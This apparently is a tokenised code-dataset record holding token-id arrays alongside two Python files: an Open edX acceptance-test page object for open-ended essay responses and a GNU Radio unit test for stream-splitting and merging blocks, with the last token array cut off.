[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
chand3040/cloud_that
common/test/acceptance/pages/lms/open_response.py
165
4579
""" Open-ended response in the courseware. """ from bok_choy.page_object import PageObject from bok_choy.promise import EmptyPromise from .rubric import RubricPage class OpenResponsePage(PageObject): """ Open-ended response in the courseware. """ url = None def is_browser_on_page(self): return self.q(css='div.xmodule_CombinedOpenEndedModule').present @property def assessment_type(self): """ Return the type of assessment currently active. Options are "self", "ai", or "peer" """ labels = self.q(css='section#combined-open-ended-status>div.statusitem-current').text if len(labels) < 1: self.warning("Could not find assessment type label") # Provide some tolerance to UI changes label_compare = labels[0].lower().strip() if 'self' in label_compare: return 'self' elif 'ai' in label_compare: return 'ai' elif 'peer' in label_compare: return 'peer' else: raise ValueError("Unexpected assessment type: '{0}'".format(label_compare)) @property def prompt(self): """ Return an HTML string representing the essay prompt. """ prompt_css = "section.open-ended-child>div.prompt" prompts = self.q(css=prompt_css).map(lambda el: el.get_attribute('innerHTML').strip()).results if len(prompts) == 0: self.warning("Could not find essay prompt on page.") return "" elif len(prompts) > 1: self.warning("Multiple essay prompts found on page; using the first one.") return prompts[0] @property def rubric(self): """ Return a `RubricPage` for a self-assessment problem. If no rubric is available, raises a `BrokenPromise` exception. """ rubric = RubricPage(self.browser) rubric.wait_for_page() return rubric @property def written_feedback(self): """ Return the written feedback from the grader (if any). If no feedback available, returns None. """ feedback = self.q(css='div.written-feedback').text if len(feedback) > 0: return feedback[0] else: return None @property def alert_message(self): """ Alert message displayed to the user. """ alerts = self.q(css="div.open-ended-alert").text if len(alerts) < 1: return "" else: return alerts[0] @property def grader_status(self): """ Status message from the grader. If not present, return an empty string. """ status_list = self.q(css='div.grader-status').text if len(status_list) < 1: self.warning("No grader status found") return "" elif len(status_list) > 1: self.warning("Multiple grader statuses found; returning the first one") return status_list[0] def set_response(self, response_str): """ Input a response to the prompt. """ input_css = "textarea.short-form-response" self.q(css=input_css).fill(response_str) def save_response(self): """ Save the response for later submission. """ self.q(css='input.save-button').first.click() EmptyPromise( lambda: 'save' in self.alert_message.lower(), "Status message saved" ).fulfill() def submit_response(self): """ Submit a response for grading. """ self.q(css='input.submit-button').first.click() # modal dialog confirmation self.q(css='button.ok-button').first.click() # Ensure that the submission completes self._wait_for_submitted(self.assessment_type) def _wait_for_submitted(self, assessment_type): """ Wait for the submission to complete. `assessment_type` is either 'self', 'ai', or 'peer' """ if assessment_type == 'self': RubricPage(self.browser).wait_for_page() elif assessment_type == 'ai' or assessment_type == "peer": EmptyPromise( lambda: self.grader_status != 'Unanswered', "Problem status is no longer 'unanswered'" ).fulfill() else: self.warning("Unrecognized assessment type '{0}'".format(assessment_type)) EmptyPromise(lambda: True, "Unrecognized assessment type").fulfill()
agpl-3.0
[ 624, 199, 4299, 13, 8960, 1177, 315, 314, 20736, 14, 199, 624, 199, 199, 504, 330, 745, 63, 2239, 89, 14, 1606, 63, 785, 492, 10331, 1692, 199, 504, 330, 745, 63, 2239, 89, 14, 12741, 572, 492, 9630, 32303, 199, 504, 1275, 21586, 492, 820, 17147, 3276, 421, 199, 533, 3232, 2364, 3276, 8, 3276, 1692, 304, 272, 408, 272, 3232, 13, 8960, 1177, 315, 314, 20736, 14, 272, 408, 339, 1166, 275, 488, 339, 347, 365, 63, 5750, 63, 265, 63, 1606, 8, 277, 304, 267, 372, 291, 14, 81, 8, 3919, 534, 3015, 14, 14293, 63, 26444, 4299, 32615, 2377, 1959, 1881, 339, 768, 1829, 272, 347, 28273, 63, 466, 8, 277, 304, 267, 408, 267, 1432, 314, 730, 402, 28273, 5544, 4702, 14, 267, 8394, 787, 298, 277, 401, 298, 5789, 401, 503, 298, 7866, 2, 267, 408, 267, 3628, 275, 291, 14, 81, 8, 3919, 534, 2792, 3, 17583, 13, 1490, 13, 8960, 13, 1205, 30, 3015, 14, 3736, 85, 338, 563, 13, 1818, 1959, 505, 398, 340, 822, 8, 3512, 9, 665, 413, 26, 288, 291, 14, 3764, 480, 6531, 440, 2342, 28273, 730, 1768, 531, 398, 327, 22896, 2005, 13464, 370, 14041, 4493, 267, 1768, 63, 5785, 275, 3628, 59, 16, 1055, 2325, 1252, 1913, 342, 398, 340, 283, 277, 7, 315, 1768, 63, 5785, 26, 288, 372, 283, 277, 7, 267, 916, 283, 5789, 7, 315, 1768, 63, 5785, 26, 288, 372, 283, 5789, 7, 267, 916, 283, 7866, 7, 315, 1768, 63, 5785, 26, 288, 372, 283, 7866, 7, 267, 587, 26, 288, 746, 1722, 480, 8708, 28273, 730, 26, 5041, 16, 30366, 908, 8, 1302, 63, 5785, 430, 339, 768, 1829, 272, 347, 8457, 8, 277, 304, 267, 408, 267, 1432, 376, 4163, 1059, 6144, 314, 325, 385, 1187, 8457, 14, 267, 408, 267, 8457, 63, 3919, 275, 298, 2792, 14, 1490, 13, 8960, 13, 1739, 30, 3015, 14, 7650, 2, 267, 29951, 275, 291, 14, 81, 8, 3919, 29, 7650, 63, 3919, 680, 1130, 8, 2734, 579, 26, 579, 14, 362, 63, 3215, 360, 26502, 1959, 1913, 8801, 2604, 398, 340, 822, 8, 496, 311, 1086, 9, 508, 378, 26, 288, 291, 14, 3764, 480, 6531, 440, 2342, 325, 385, 1187, 8457, 641, 2034, 2685, 288, 372, 3087, 398, 916, 822, 8, 496, 311, 1086, 9, 690, 413, 26, 288, 291, 14, 3764, 480, 8433, 325, 385, 1187, 29951, 1911, 641, 2034, 27, 1808, 314, 1642, 1373, 2685, 398, 372, 29951, 59, 16, 61, 339, 768, 1829, 272, 347, 519, 17147, 8, 277, 304, 267, 408, 267, 1432, 282, 658, 50, 17147, 3276, 64, 367, 282, 291, 13, 17452, 5160, 14, 267, 982, 949, 519, 17147, 365, 2808, 12, 6534, 282, 658, 30509, 32303, 64, 1919, 14, 267, 408, 267, 519, 17147, 275, 820, 17147, 3276, 8, 277, 14, 5750, 9, 267, 519, 17147, 14, 2573, 63, 509, 63, 1606, 342, 267, 372, 519, 17147, 339, 768, 1829, 272, 347, 5313, 63, 13485, 8, 277, 304, 267, 408, 267, 1432, 314, 5313, 17145, 687, 314, 27741, 334, 692, 1263, 680, 267, 982, 949, 17145, 2808, 12, 2529, 488, 14, 267, 408, 267, 17145, 275, 291, 14, 81, 8, 3919, 534, 3015, 14, 8938, 13, 13485, 1959, 505, 398, 340, 822, 8, 13485, 9, 690, 378, 26, 288, 372, 17145, 59, 16, 61, 267, 587, 26, 288, 372, 488, 339, 768, 1829, 272, 347, 10459, 63, 1188, 8, 277, 304, 267, 408, 267, 25762, 1245, 9080, 370, 314, 922, 14, 267, 408, 267, 31529, 275, 291, 14, 81, 8, 3919, 628, 3015, 14, 1490, 13, 8960, 13, 9241, 3471, 505, 398, 340, 822, 8, 24501, 9, 665, 413, 26, 288, 372, 3087, 267, 587, 26, 288, 372, 31529, 59, 16, 61, 339, 768, 1829, 272, 347, 27741, 63, 1205, 8, 277, 304, 267, 408, 267, 9795, 1245, 687, 314, 27741, 14, 267, 982, 440, 3451, 12, 372, 376, 2701, 1059, 14, 267, 408, 267, 2004, 63, 513, 275, 291, 14, 81, 8, 3919, 534, 3015, 14, 17556, 13, 1205, 1959, 505, 398, 340, 822, 8, 1205, 63, 513, 9, 665, 413, 26, 288, 291, 14, 3764, 480, 1944, 27741, 2004, 1911, 531, 288, 372, 3087, 398, 916, 822, 8, 1205, 63, 513, 9, 690, 413, 26, 288, 291, 14, 3764, 480, 8433, 27741, 24498, 1911, 27, 8152, 314, 1642, 1373, 531, 398, 372, 2004, 63, 513, 59, 16, 61, 339, 347, 663, 63, 1310, 8, 277, 12, 1177, 63, 495, 304, 267, 408, 267, 6924, 282, 1177, 370, 314, 8457, 14, 267, 408, 267, 1324, 63, 3919, 275, 298, 20895, 14, 3612, 13, 964, 13, 1310, 2, 267, 291, 14, 81, 8, 3919, 29, 1210, 63, 3919, 680, 4498, 8, 1310, 63, 495, 9, 339, 347, 3354, 63, 1310, 8, 277, 304, 267, 408, 267, 11063, 314, 1177, 367, 2945, 13071, 14, 267, 408, 267, 291, 14, 81, 8, 3919, 534, 1210, 14, 2117, 13, 3887, 1959, 2246, 14, 4891, 342, 267, 9630, 32303, 8, 288, 2400, 26, 283, 2117, 7, 315, 291, 14, 9241, 63, 1188, 14, 2325, 1062, 288, 298, 3694, 1245, 6290, 2, 267, 7092, 13499, 22503, 342, 339, 347, 11482, 63, 1310, 8, 277, 304, 267, 408, 267, 28295, 282, 1177, 367, 22815, 14, 267, 408, 267, 291, 14, 81, 8, 3919, 534, 1210, 14, 7275, 13, 3887, 1959, 2246, 14, 4891, 342, 398, 327, 21698, 9592, 18791, 267, 291, 14, 81, 8, 3919, 534, 3887, 14, 745, 13, 3887, 1959, 2246, 14, 4891, 342, 398, 327, 7523, 626, 314, 13071, 29672, 267, 291, 423, 2573, 63, 509, 63, 23736, 8, 277, 14, 17452, 63, 466, 9, 339, 347, 485, 2573, 63, 509, 63, 23736, 8, 277, 12, 28273, 63, 466, 304, 267, 408, 267, 13144, 367, 314, 13071, 370, 4890, 14, 267, 658, 17452, 63, 466, 64, 365, 1902, 283, 277, 297, 283, 5789, 297, 503, 283, 7866, 7, 267, 408, 267, 340, 28273, 63, 466, 508, 283, 277, 356, 288, 820, 17147, 3276, 8, 277, 14, 5750, 680, 2573, 63, 509, 63, 1606, 342, 398, 916, 28273, 63, 466, 508, 283, 5789, 7, 503, 28273, 63, 466, 508, 298, 7866, 582, 288, 9630, 32303, 8, 355, 2400, 26 ]
[ 199, 4299, 13, 8960, 1177, 315, 314, 20736, 14, 199, 624, 199, 199, 504, 330, 745, 63, 2239, 89, 14, 1606, 63, 785, 492, 10331, 1692, 199, 504, 330, 745, 63, 2239, 89, 14, 12741, 572, 492, 9630, 32303, 199, 504, 1275, 21586, 492, 820, 17147, 3276, 421, 199, 533, 3232, 2364, 3276, 8, 3276, 1692, 304, 272, 408, 272, 3232, 13, 8960, 1177, 315, 314, 20736, 14, 272, 408, 339, 1166, 275, 488, 339, 347, 365, 63, 5750, 63, 265, 63, 1606, 8, 277, 304, 267, 372, 291, 14, 81, 8, 3919, 534, 3015, 14, 14293, 63, 26444, 4299, 32615, 2377, 1959, 1881, 339, 768, 1829, 272, 347, 28273, 63, 466, 8, 277, 304, 267, 408, 267, 1432, 314, 730, 402, 28273, 5544, 4702, 14, 267, 8394, 787, 298, 277, 401, 298, 5789, 401, 503, 298, 7866, 2, 267, 408, 267, 3628, 275, 291, 14, 81, 8, 3919, 534, 2792, 3, 17583, 13, 1490, 13, 8960, 13, 1205, 30, 3015, 14, 3736, 85, 338, 563, 13, 1818, 1959, 505, 398, 340, 822, 8, 3512, 9, 665, 413, 26, 288, 291, 14, 3764, 480, 6531, 440, 2342, 28273, 730, 1768, 531, 398, 327, 22896, 2005, 13464, 370, 14041, 4493, 267, 1768, 63, 5785, 275, 3628, 59, 16, 1055, 2325, 1252, 1913, 342, 398, 340, 283, 277, 7, 315, 1768, 63, 5785, 26, 288, 372, 283, 277, 7, 267, 916, 283, 5789, 7, 315, 1768, 63, 5785, 26, 288, 372, 283, 5789, 7, 267, 916, 283, 7866, 7, 315, 1768, 63, 5785, 26, 288, 372, 283, 7866, 7, 267, 587, 26, 288, 746, 1722, 480, 8708, 28273, 730, 26, 5041, 16, 30366, 908, 8, 1302, 63, 5785, 430, 339, 768, 1829, 272, 347, 8457, 8, 277, 304, 267, 408, 267, 1432, 376, 4163, 1059, 6144, 314, 325, 385, 1187, 8457, 14, 267, 408, 267, 8457, 63, 3919, 275, 298, 2792, 14, 1490, 13, 8960, 13, 1739, 30, 3015, 14, 7650, 2, 267, 29951, 275, 291, 14, 81, 8, 3919, 29, 7650, 63, 3919, 680, 1130, 8, 2734, 579, 26, 579, 14, 362, 63, 3215, 360, 26502, 1959, 1913, 8801, 2604, 398, 340, 822, 8, 496, 311, 1086, 9, 508, 378, 26, 288, 291, 14, 3764, 480, 6531, 440, 2342, 325, 385, 1187, 8457, 641, 2034, 2685, 288, 372, 3087, 398, 916, 822, 8, 496, 311, 1086, 9, 690, 413, 26, 288, 291, 14, 3764, 480, 8433, 325, 385, 1187, 29951, 1911, 641, 2034, 27, 1808, 314, 1642, 1373, 2685, 398, 372, 29951, 59, 16, 61, 339, 768, 1829, 272, 347, 519, 17147, 8, 277, 304, 267, 408, 267, 1432, 282, 658, 50, 17147, 3276, 64, 367, 282, 291, 13, 17452, 5160, 14, 267, 982, 949, 519, 17147, 365, 2808, 12, 6534, 282, 658, 30509, 32303, 64, 1919, 14, 267, 408, 267, 519, 17147, 275, 820, 17147, 3276, 8, 277, 14, 5750, 9, 267, 519, 17147, 14, 2573, 63, 509, 63, 1606, 342, 267, 372, 519, 17147, 339, 768, 1829, 272, 347, 5313, 63, 13485, 8, 277, 304, 267, 408, 267, 1432, 314, 5313, 17145, 687, 314, 27741, 334, 692, 1263, 680, 267, 982, 949, 17145, 2808, 12, 2529, 488, 14, 267, 408, 267, 17145, 275, 291, 14, 81, 8, 3919, 534, 3015, 14, 8938, 13, 13485, 1959, 505, 398, 340, 822, 8, 13485, 9, 690, 378, 26, 288, 372, 17145, 59, 16, 61, 267, 587, 26, 288, 372, 488, 339, 768, 1829, 272, 347, 10459, 63, 1188, 8, 277, 304, 267, 408, 267, 25762, 1245, 9080, 370, 314, 922, 14, 267, 408, 267, 31529, 275, 291, 14, 81, 8, 3919, 628, 3015, 14, 1490, 13, 8960, 13, 9241, 3471, 505, 398, 340, 822, 8, 24501, 9, 665, 413, 26, 288, 372, 3087, 267, 587, 26, 288, 372, 31529, 59, 16, 61, 339, 768, 1829, 272, 347, 27741, 63, 1205, 8, 277, 304, 267, 408, 267, 9795, 1245, 687, 314, 27741, 14, 267, 982, 440, 3451, 12, 372, 376, 2701, 1059, 14, 267, 408, 267, 2004, 63, 513, 275, 291, 14, 81, 8, 3919, 534, 3015, 14, 17556, 13, 1205, 1959, 505, 398, 340, 822, 8, 1205, 63, 513, 9, 665, 413, 26, 288, 291, 14, 3764, 480, 1944, 27741, 2004, 1911, 531, 288, 372, 3087, 398, 916, 822, 8, 1205, 63, 513, 9, 690, 413, 26, 288, 291, 14, 3764, 480, 8433, 27741, 24498, 1911, 27, 8152, 314, 1642, 1373, 531, 398, 372, 2004, 63, 513, 59, 16, 61, 339, 347, 663, 63, 1310, 8, 277, 12, 1177, 63, 495, 304, 267, 408, 267, 6924, 282, 1177, 370, 314, 8457, 14, 267, 408, 267, 1324, 63, 3919, 275, 298, 20895, 14, 3612, 13, 964, 13, 1310, 2, 267, 291, 14, 81, 8, 3919, 29, 1210, 63, 3919, 680, 4498, 8, 1310, 63, 495, 9, 339, 347, 3354, 63, 1310, 8, 277, 304, 267, 408, 267, 11063, 314, 1177, 367, 2945, 13071, 14, 267, 408, 267, 291, 14, 81, 8, 3919, 534, 1210, 14, 2117, 13, 3887, 1959, 2246, 14, 4891, 342, 267, 9630, 32303, 8, 288, 2400, 26, 283, 2117, 7, 315, 291, 14, 9241, 63, 1188, 14, 2325, 1062, 288, 298, 3694, 1245, 6290, 2, 267, 7092, 13499, 22503, 342, 339, 347, 11482, 63, 1310, 8, 277, 304, 267, 408, 267, 28295, 282, 1177, 367, 22815, 14, 267, 408, 267, 291, 14, 81, 8, 3919, 534, 1210, 14, 7275, 13, 3887, 1959, 2246, 14, 4891, 342, 398, 327, 21698, 9592, 18791, 267, 291, 14, 81, 8, 3919, 534, 3887, 14, 745, 13, 3887, 1959, 2246, 14, 4891, 342, 398, 327, 7523, 626, 314, 13071, 29672, 267, 291, 423, 2573, 63, 509, 63, 23736, 8, 277, 14, 17452, 63, 466, 9, 339, 347, 485, 2573, 63, 509, 63, 23736, 8, 277, 12, 28273, 63, 466, 304, 267, 408, 267, 13144, 367, 314, 13071, 370, 4890, 14, 267, 658, 17452, 63, 466, 64, 365, 1902, 283, 277, 297, 283, 5789, 297, 503, 283, 7866, 7, 267, 408, 267, 340, 28273, 63, 466, 508, 283, 277, 356, 288, 820, 17147, 3276, 8, 277, 14, 5750, 680, 2573, 63, 509, 63, 1606, 342, 398, 916, 28273, 63, 466, 508, 283, 5789, 7, 503, 28273, 63, 466, 508, 298, 7866, 582, 288, 9630, 32303, 8, 355, 2400, 26, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
courtarro/gnuradio
gr-blocks/python/blocks/qa_pipe_fittings.py
57
4060
#!/usr/bin/env python # # Copyright 2005,2007,2010,2012,2013 Free Software Foundation, Inc. # # This file is part of GNU Radio # # GNU Radio is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) # any later version. # # GNU Radio is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Radio; see the file COPYING. If not, write to # the Free Software Foundation, Inc., 51 Franklin Street, # Boston, MA 02110-1301, USA. # from gnuradio import gr, gr_unittest, blocks def calc_expected_result(src_data, n): assert (len(src_data) % n) == 0 result = [list() for x in range(n)] #print "len(result) =", len(result) for i in xrange(len(src_data)): (result[i % n]).append(src_data[i]) return [tuple(x) for x in result] class test_pipe_fittings(gr_unittest.TestCase): def setUp(self): self.tb = gr.top_block () def tearDown(self): self.tb = None def test_001(self): """ Test stream_to_streams. """ n = 8 src_len = n * 8 src_data = range(src_len) expected_results = calc_expected_result(src_data, n) #print "expected results: ", expected_results src = blocks.vector_source_i(src_data) op = blocks.stream_to_streams(gr.sizeof_int, n) self.tb.connect(src, op) dsts = [] for i in range(n): dst = blocks.vector_sink_i() self.tb.connect((op, i), (dst, 0)) dsts.append(dst) self.tb.run() for d in range(n): self.assertEqual(expected_results[d], dsts[d].data()) def test_002(self): # Test streams_to_stream (using stream_to_streams). n = 8 src_len = n * 8 src_data = tuple(range(src_len)) expected_results = src_data src = blocks.vector_source_i(src_data) op1 = blocks.stream_to_streams(gr.sizeof_int, n) op2 = blocks.streams_to_stream(gr.sizeof_int, n) dst = blocks.vector_sink_i() self.tb.connect(src, op1) for i in range(n): self.tb.connect((op1, i), (op2, i)) self.tb.connect(op2, dst) self.tb.run() self.assertEqual(expected_results, dst.data()) def test_003(self): #Test streams_to_vector (using stream_to_streams & vector_to_stream). n = 8 src_len = n * 8 src_data = tuple(range(src_len)) expected_results = src_data src = blocks.vector_source_i(src_data) op1 = blocks.stream_to_streams(gr.sizeof_int, n) op2 = blocks.streams_to_vector(gr.sizeof_int, n) op3 = blocks.vector_to_stream(gr.sizeof_int, n) dst = blocks.vector_sink_i() self.tb.connect(src, op1) for i in range(n): self.tb.connect((op1, i), (op2, i)) self.tb.connect(op2, op3, dst) self.tb.run() self.assertEqual(expected_results, dst.data()) def test_004(self): #Test vector_to_streams. n = 8 src_len = n * 8 src_data = tuple(range(src_len)) expected_results = src_data src = blocks.vector_source_i(src_data) op1 = blocks.stream_to_vector(gr.sizeof_int, n) op2 = blocks.vector_to_streams(gr.sizeof_int, n) op3 = blocks.streams_to_stream(gr.sizeof_int, n) dst = blocks.vector_sink_i() self.tb.connect(src, op1, op2) for i in range(n): self.tb.connect((op2, i), (op3, i)) self.tb.connect(op3, dst) self.tb.run() self.assertEqual(expected_results, dst.data()) if __name__ == '__main__': gr_unittest.run(test_pipe_fittings, "test_pipe_fittings.xml")
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 11811, 12, 9488, 12, 6542, 12, 7409, 12, 6965, 2868, 2290, 2752, 12, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 1664, 13514, 199, 3, 199, 3, 1664, 13514, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 199, 3, 1664, 13514, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 1664, 13514, 27, 1937, 314, 570, 9685, 14, 221, 982, 440, 12, 2218, 370, 199, 3, 314, 2868, 2290, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 199, 3, 8226, 12, 4828, 11315, 13, 10067, 12, 8217, 14, 199, 3, 199, 199, 504, 24526, 492, 7192, 12, 7192, 63, 2796, 12, 5664, 199, 199, 318, 12831, 63, 2062, 63, 1099, 8, 2164, 63, 576, 12, 302, 304, 272, 702, 334, 552, 8, 2164, 63, 576, 9, 450, 302, 9, 508, 378, 272, 754, 275, 359, 513, 342, 367, 671, 315, 1425, 8, 78, 1874, 272, 327, 1361, 298, 552, 8, 1099, 9, 20815, 822, 8, 1099, 9, 272, 367, 284, 315, 4945, 8, 552, 8, 2164, 63, 576, 2298, 267, 334, 1099, 59, 73, 450, 302, 6575, 740, 8, 2164, 63, 576, 59, 73, 566, 272, 372, 359, 2960, 8, 88, 9, 367, 671, 315, 754, 61, 421, 199, 533, 511, 63, 4990, 63, 3269, 1161, 8, 2587, 63, 2796, 14, 1746, 304, 339, 347, 3613, 8, 277, 304, 267, 291, 14, 5842, 275, 7192, 14, 2119, 63, 1457, 6248, 339, 347, 6766, 8, 277, 304, 267, 291, 14, 5842, 275, 488, 339, 347, 511, 63, 4587, 8, 277, 304, 267, 408, 267, 1379, 2547, 63, 475, 63, 11231, 14, 267, 408, 267, 302, 275, 1695, 267, 2928, 63, 552, 275, 302, 627, 1695, 267, 2928, 63, 576, 275, 1425, 8, 2164, 63, 552, 9, 398, 1420, 63, 2604, 275, 12831, 63, 2062, 63, 1099, 8, 2164, 63, 576, 12, 302, 9, 267, 327, 1361, 298, 2062, 2058, 26, 3872, 1420, 63, 2604, 267, 2928, 275, 5664, 14, 4106, 63, 1365, 63, 73, 8, 2164, 63, 576, 9, 267, 1687, 275, 5664, 14, 1745, 63, 475, 63, 11231, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 291, 14, 5842, 14, 2242, 8, 2164, 12, 1687, 9, 398, 5042, 83, 275, 942, 267, 367, 284, 315, 1425, 8, 78, 304, 288, 5042, 275, 5664, 14, 4106, 63, 11279, 63, 73, 342, 288, 291, 14, 5842, 14, 2242, 1332, 411, 12, 284, 395, 334, 5119, 12, 378, 430, 288, 5042, 83, 14, 740, 8, 5119, 9, 398, 291, 14, 5842, 14, 1065, 342, 398, 367, 366, 315, 1425, 8, 78, 304, 288, 291, 14, 629, 8, 2062, 63, 2604, 59, 68, 467, 5042, 83, 59, 68, 1055, 576, 1012, 339, 347, 511, 63, 7432, 8, 277, 304, 398, 327, 1379, 13788, 63, 475, 63, 1745, 334, 4941, 2547, 63, 475, 63, 11231, 680, 398, 302, 275, 1695, 267, 2928, 63, 552, 275, 302, 627, 1695, 267, 2928, 63, 576, 275, 2008, 8, 1842, 8, 2164, 63, 552, 430, 267, 1420, 63, 2604, 275, 2928, 63, 576, 398, 2928, 275, 5664, 14, 4106, 63, 1365, 63, 73, 8, 2164, 63, 576, 9, 267, 1687, 17, 275, 5664, 14, 1745, 63, 475, 63, 11231, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 1687, 18, 275, 5664, 14, 11231, 63, 475, 63, 1745, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 5042, 275, 5664, 14, 4106, 63, 11279, 63, 73, 342, 398, 291, 14, 5842, 14, 2242, 8, 2164, 12, 1687, 17, 9, 267, 367, 284, 315, 1425, 8, 78, 304, 288, 291, 14, 5842, 14, 2242, 1332, 411, 17, 12, 284, 395, 334, 411, 18, 12, 284, 430, 267, 291, 14, 5842, 14, 2242, 8, 411, 18, 12, 5042, 9, 398, 291, 14, 5842, 14, 1065, 342, 267, 291, 14, 629, 8, 2062, 63, 2604, 12, 5042, 14, 576, 1012, 339, 347, 511, 63, 8262, 8, 277, 304, 398, 327, 774, 13788, 63, 475, 63, 4106, 334, 4941, 2547, 63, 475, 63, 11231, 1253, 5477, 63, 475, 63, 1745, 680, 398, 302, 275, 1695, 267, 2928, 63, 552, 275, 302, 627, 1695, 267, 2928, 63, 576, 275, 2008, 8, 1842, 8, 2164, 63, 552, 430, 267, 1420, 63, 2604, 275, 2928, 63, 576, 398, 2928, 275, 5664, 14, 4106, 63, 1365, 63, 73, 8, 2164, 63, 576, 9, 267, 1687, 17, 275, 5664, 14, 1745, 63, 475, 63, 11231, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 1687, 18, 275, 5664, 14, 11231, 63, 475, 63, 4106, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 1687, 19, 275, 5664, 14, 4106, 63, 475, 63, 1745, 8, 2587, 14, 12590, 63, 442, 12, 302, 9, 267, 5042, 275, 5664, 14, 4106, 63, 11279, 63, 73, 342, 398, 291, 14, 5842, 14, 2242, 8, 2164, 12, 1687, 17, 9, 267, 367, 284, 315, 1425, 8, 78, 304, 288, 291, 14, 5842, 14, 2242, 1332, 411, 17, 12, 284, 395, 334, 411, 18, 12, 284, 430, 267, 291, 14, 5842, 14, 2242, 8, 411, 18, 12, 1687, 19, 12, 5042, 9, 398, 291, 14, 5842, 14, 1065, 342, 267, 291, 14, 629, 8, 2062, 63, 2604, 12, 